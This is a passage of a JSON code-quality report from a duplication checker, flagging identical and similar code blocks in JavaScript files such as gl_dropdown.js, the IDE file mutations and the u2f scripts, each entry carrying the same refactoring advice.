Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"272dee8d71a4ab9c8d815e23c04c7742","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":66,"end":75}},"remediation_points":1350000,"other_locations":[{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":14,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"272dee8d71a4ab9c8d815e23c04c7742","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":76,"end":80}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":91,"end":95}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":96,"end":100}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":123,"end":127}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":217,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b1e5c7e2317fc81ce11cbdb1bfee15df","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":91,"end":95}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":76,"end":80}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":96,"end":100}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":123,"end":127}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":217,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b1e5c7e2317fc81ce11cbdb1bfee15df","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":96,"end":100}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":76,"end":80}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":91,"end":95}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":123,"end":127}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":217,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b1e5c7e2317fc81ce11cbdb1bfee15df","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":123,"end":127}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":76,"end":80}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":91,"end":95}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":96,"end":100}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":217,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b1e5c7e2317fc81ce11cbdb1bfee15df","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":217,"end":221}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":76,"end":80}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":91,"end":95}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":96,"end":100}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":123,"end":127}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b1e5c7e2317fc81ce11cbdb1bfee15df","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":55,"end":59}},"remediation_points":1050000,"other_locations":[{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":70,"end":74}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 70**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2f1257b0729020dbf8c1e761c6b423db","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":70,"end":74}},"remediation_points":1050000,"other_locations":[{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":55,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 70**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"39bdab25a792c5662feb840979099a97","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/commons/polyfills/element.js","lines":{"begin":14,"end":19}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":278,"end":283}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b95252006271b6a23d2d59296a0e5778","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":278,"end":283}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/commons/polyfills/element.js","lines":{"begin":14,"end":19}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"67ee0da8e9d2d3b183449d9e8d462f44","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":37,"end":57}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":99,"end":135}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6e9b85292de8771601751d3ed0d9dc18","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":99,"end":135}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":37,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6e9b85292de8771601751d3ed0d9dc18","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":105,"end":115}},"remediation_points":2700000,"other_locations":[{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":117,"end":127}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle 